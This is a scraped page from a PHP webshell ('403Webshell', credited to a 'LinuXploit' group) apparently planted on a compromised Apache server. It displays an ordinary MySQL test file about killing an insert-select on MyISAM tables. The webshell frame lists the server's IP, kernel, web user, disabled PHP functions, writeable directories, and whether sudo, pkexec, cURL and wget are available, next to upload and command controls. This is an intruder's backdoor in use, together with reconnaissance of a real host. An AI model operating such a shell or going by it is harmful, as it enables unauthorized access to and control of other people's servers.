403Webshell
Server IP : 172.67.216.182  /  Your IP : 172.70.208.157
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/mysql-test/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/mysql-test/t/myisam_debug.test
# The include statement below is a temp one for tests that are yet to
#be ported to run with InnoDB,
#but needs to be kept for tests that would need MyISAM in future.
--source include/force_myisam_default.inc

--source include/have_debug.inc

# We disable this test in embedded mode because of BUG#43733
--source include/not_embedded.inc

--echo #
--echo # BUG#40827 - Killing insert-select to MyISAM can cause table corruption
--echo #

CONNECT (insertConn, localhost, root,,);

CREATE TABLE `t1` (
`id` BIGINT(20) ,
`id1` BIGINT(20) AUTO_INCREMENT,
 KEY(id1), KEY(id)
) ENGINE=MyISAM;

CREATE TABLE `t2` (
`id` BIGINT(20) ,
`id1` BIGINT(20) AUTO_INCREMENT,
 KEY (id1), KEY(id)
) ENGINE=MyISAM;

INSERT INTO t2 (id) VALUES (123);

let $i = 10; 
while ($i)
{
  INSERT INTO t2 (id) SELECT id  FROM t2; 
  dec $i; 
}

--echo # Switch to insert Connection
CONNECTION insertConn;
SET SESSION debug='+d,wait_in_enable_indexes';
--echo # Send insert data
SEND INSERT INTO t1(id) SELECT id  FROM t2; 

--echo # Switch to default Connection
CONNECTION default;
--echo # Wait for insert data to reach the debug point

let $wait_condition=
  SELECT COUNT(*) = 1 FROM INFORMATION_SCHEMA.PROCESSLIST
  WHERE STATE = "wait_in_enable_indexes" AND 
  INFO = "INSERT INTO t1(id) SELECT id  FROM t2";
--source include/wait_condition.inc

SELECT ID FROM INFORMATION_SCHEMA.PROCESSLIST
WHERE STATE = 'wait_in_enable_indexes' AND 
INFO = "INSERT INTO t1(id) SELECT id  FROM t2" 
INTO @thread_id;

KILL QUERY @thread_id;
CHECK TABLE t1; 
DROP TABLE t1,t2;
CONNECTION insertConn;
--error ER_NOT_KEYFILE
REAP;
DISCONNECT insertConn;

Youez - 2016 - github.com/yon3zu
LinuXploit